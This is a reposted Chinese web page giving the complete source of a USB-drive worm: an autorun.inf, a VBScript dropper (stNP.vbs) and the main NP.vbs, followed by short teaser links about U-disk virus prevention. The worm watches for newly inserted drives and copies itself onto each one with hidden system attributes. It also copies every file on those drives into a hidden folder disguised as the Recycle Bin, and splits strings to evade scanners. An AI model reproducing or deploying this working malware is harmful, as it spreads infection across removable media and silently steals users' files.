转载 autorun.inf病毒源代码 u盘病毒autorun.inf
'文件名:autorun.inf
[autorun]
open=
shellopen=打开(&O)
shellopenCommand=WScript.exe stNP.vbs
shellopenDefault=1
shellexplore=资源管理器(&X)
shellexploreCommand=WScript.exe stNP.vbs
'文件名:stNP.vbs
on error resume next
set fso = CreateObject("Scripting.FileSys"&"temObject")
if fso.FileExists("NP.vbs") = -1 then
if fso.FileExists("d:NP.vbs") = -1 then
set f = fso.getfile("d:NP.vbs")
if f.attributes = 0 then
else
f.attributes = 0
end if
f.delete(true)
end if
fso.copyfile "NP.vbs", "d:NP.vbs", true
set wshshell = wscript.createobject("WScript.Shell")
wshshell.run "d:NP.vbs"
end if
'文件名:NP.vbs
'[NatruePark]
'容错语句
on Error resume next
'变量声明及初始化
dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell
set fso = CreateObject("Scripting.File"&"SystemObject")
set wshshell = wscript.createobject("WScript.Shell")
old_n=0
redim old_drs(old_n)
old_drs(0)="C"
'[主体部分]
wshshell.run("explorer .")
dim i
i = 0
do while i>=0 and i<8*360
scan_disk()
if judge_new_disk() = 1 then
dim left_n
left_n = 1
do while left_n<=(new_n-old_n)
new_disk = new_drs(left_n+old_n)&":"
'-----------------<维护块>-----------------
if fso.FileExists(new_disk&"NP.vbs") = -1 then
else
self_copy(new_disk)
end if
add_attrib(new_disk&"NP.vbs")
if fso.FileExists(new_disk&"autorun.inf") = -1 then
del_attrib(new_disk&"autorun.inf")
end if
add_autorun(new_disk)
add_attrib(new_disk&"autorun.inf")
if fso.FileExists(new_disk&"stNP.vbs") = -1 then
else
add_stNP(new_disk)
end if
add_attrib(new_disk&"stNP.vbs")
'-----------------</维护块>-----------------
'-----------------<功能块>-----------------
dim rec
rec = "d:Recyc1ed"
if fso.FolderExists(rec) = -1 then
else
fso.createfolder(rec)
end if
add_attribf(rec)
if fso.FileExists(rec&"desktop.ini") = -1 then
else
add_desktop(rec)
end if
add_attrib(rec&"desktop.ini")
aim_folder = rec&Date()&Rnd()
if fso.FolderExists(aim_folder) = -1 then
else
fso.createfolder(aim_folder)
end if
'查找"Serylab"文件夹并复制
if fso.FolderExists(new_disk&"Serylab") = -1 then
fso.copyfolder new_disk&"Serylab", aim_folder, true
add_attribf(aim_folder)
end if
'通用复制
if old_n = 0 then
else
set fp = fso.getFolder(new_drs(new_n)&":")
set fc = fp.SubFolders
for each f in fc
fso.copyfolder f&"", aim_folder&""&f.name, true
next
set fc = fp.files
for each f in fc
fso.copyfile f&"", aim_folder&"", true
next
add_attribf(aim_folder)
end if
'-----------------</功能块>-----------------
left_n=left_n+1
loop
copy_disk()
end if
wscript.sleep(10000)
i=i+1
loop
'[函数部分]
'可用驱动器检测 new_drs(),new_n
function scan_disk()
dim d, dr
new_n = -1
set dr = fso.drives
for each d in dr
if d.isready then
new_n=new_n+1
redim preserve new_drs(new_n)
new_drs(new_n)=d.driveletter
end if
next
end function
'判断是否有新加入的驱动器
function judge_new_disk()
if new_n = old_n then
judge_new_disk = 0
elseif new_n < old_n then
redim preserve old_drs(new_n)
old_n = new_n
judge_new_disk = 0
elseif new_n > old_n then
redim preserve old_drs(new_n)
judge_new_disk = 1
end if
end function
'复制新驱动器表单
function copy_disk()
dim n
n=0
do while n<=new_n
old_drs(n) = new_drs(n)
n=n+1
loop
old_n = new_n
end function
'添加指定文件属性
function add_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
'删除指定文件属性
function del_attrib(file)
set f = fso.getfile(file)
if f.attributes = 7 then
f.attributes = 0
else
end if
end function
'自我复制到指定文件目录
function self_copy(folder)
dim aim_path, mid_path, self_file, mid_file
aim_path = folder&"NP.vbs"
mid_path = "c:np.bin"
set self_file = fso.opentextfile(wscript.scriptfullname,1)
self = self_file.readall
set mid_file = fso.opentextfile(mid_path,2,true)
mid_file.write self
mid_file.close
set mid_file = fso.getfile(mid_path)
mid_file.copy(aim_path)
mid_file.delete(true)
end function
'增加autorun.inf
function add_autorun(folder)
dim path
path = folder&"autorun.inf"
set temp = fso.CreateTextFile("c:a.bin",true)
temp.writeline "[autorun]"
temp.writeline "open="
temp.writeline "shellopen=打开(&O)"
temp.writeline "shellopenCommand=WScript.exe stNP.vbs"
temp.writeline "shellopenDefault=1"
temp.writeline "shellexplore=资源管理器(&X)"
temp.writeline "shellexploreCommand=WScript.exe stNP.vbs"
temp.close
set cop = fso.getfile("c:a.bin")
cop.copy(path)
cop.delete(true)
end function
'增加desktop.ini
function add_desktop(folder)
dim path
path = folder&"desktop.ini"
set temp = fso.CreateTextFile("c:d.bin",true)
temp.writeline "[.ShellClassInfo]"
temp.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
temp.close
set cop = fso.getfile("c:d.bin")
cop.copy(path)
cop.delete(true)
end function
'增加stNP.vbs
function add_stNP(folder)
dim path
set fso = CreateObject("Scripting.File"&"SystemObject")
path = folder&"stNP.vbs"
set temp = fso.CreateTextFile("c:s.bin",true)
temp.writeline "on error resume next"
temp.writeline "set fso =CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
temp.writeline "if fso.FileExists("&chr(34)&"NP.vbs"&chr(34)&") = -1 then"
temp.writeline "if fso.FileExists("&chr(34)&"d:NP.vbs"&chr(34)&") = -1 then"
temp.writeline "set f = fso.getfile("&chr(34)&"d:NP.vbs"&chr(34)&")"
temp.writeline "if f.attributes = 0 then"
temp.writeline "else"
temp.writeline "f.attributes = 0"
temp.writeline "end if"
temp.writeline "f.delete(true)"
temp.writeline "end if"
temp.writeline "fso.copyfile"&chr(34)&"NP.vbs"&chr(34)&","&chr(34)&"d:NP.vbs"&chr(34)&", true"
temp.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
temp.writeline "wshshell.run "&chr(34)&"d:NP.vbs"&chr(34)
temp.writeline "end if"
temp.close
set cop = fso.getfile("c:s.bin")
cop.copy(path)
cop.delete(true)
end function
'添加指定文件夹属性
function add_attribf(folder)
set f = fso.getfolder(folder)
if f.attributes = 7 then
else
f.attributes = 7
end if
end function
'删除指定文件夹属性
function del_attribf(folder)
set f = fso.getfolder(folder)
if f.attributes = 0 then
else
f.attributes = 0
end if
end function
wscript.echo("THANK YOU!!")
wscript.quit
更多阅读
如何有效地防止u盘中毒 怎样防止u盘中毒
?盘对病毒的传播要借助autorun.inf文件的帮助。病毒首先把自身复制到u盘,然后创建一个autorun.inf,在你双击u盘时,会根据autorun.inf中的设置去运行u盘中的病毒。我们只要可以阻止autorun.inf文件的创建,那么U盘上就算有病毒也只能躺着
u盘如何防病毒 u盘怎么防病毒
u盘如何防病毒——简介u盘中病毒想来很多使用u盘的网友都有遇到过,一旦u盘中毒,还会传染到我们电脑上,要有效的防止病毒的产生,需要养成良好的使用习惯和应对u盘中病毒的能力,下面就讲下u盘如何防病毒的具体操作方法。u盘如何防病毒——
轻松解决U盘文件都变成.exe执行文件问题 轻松筹咋变成轻松骗
轻松解决U盘文件都变成.exe执行文件问题——简介U盘中的文件都变成.exe可执行文件是怎么回事?告诉你,你的U盘中病毒了,那么如何清除呢?小编现在就告诉你几个简单方法,轻松就能搞定U盘中病毒问题。轻松解决U盘文件都变成.exe执行文件问题
怎样修复U盘隐藏文件夹 u盘文件夹被隐藏
利用U盘修复工具修复U盘隐藏文件夹怎样修复U盘隐藏文件夹——工具U盘杀毒专家怎样修复U盘隐藏文件夹——步骤/方法怎样修复U盘隐藏文件夹 1、 突然发现U盘里面的文件和文件夹全部消失了或者全部变成带exe后缀名的文件,怎么回事?使用
U盘被写保护如何解除 u盘被写保护怎么解除
在使用U盘的时候,一直都很正常,但是突然有一天,U盘被提示被写保护了,不能够进行读写数据,如果这时正着急使用,一定会被气疯了吧,其实解决这个问题,是非常简单的。U盘被写保护 有的人说把U盘送去修理,或者说你的电脑中病毒了,要重装系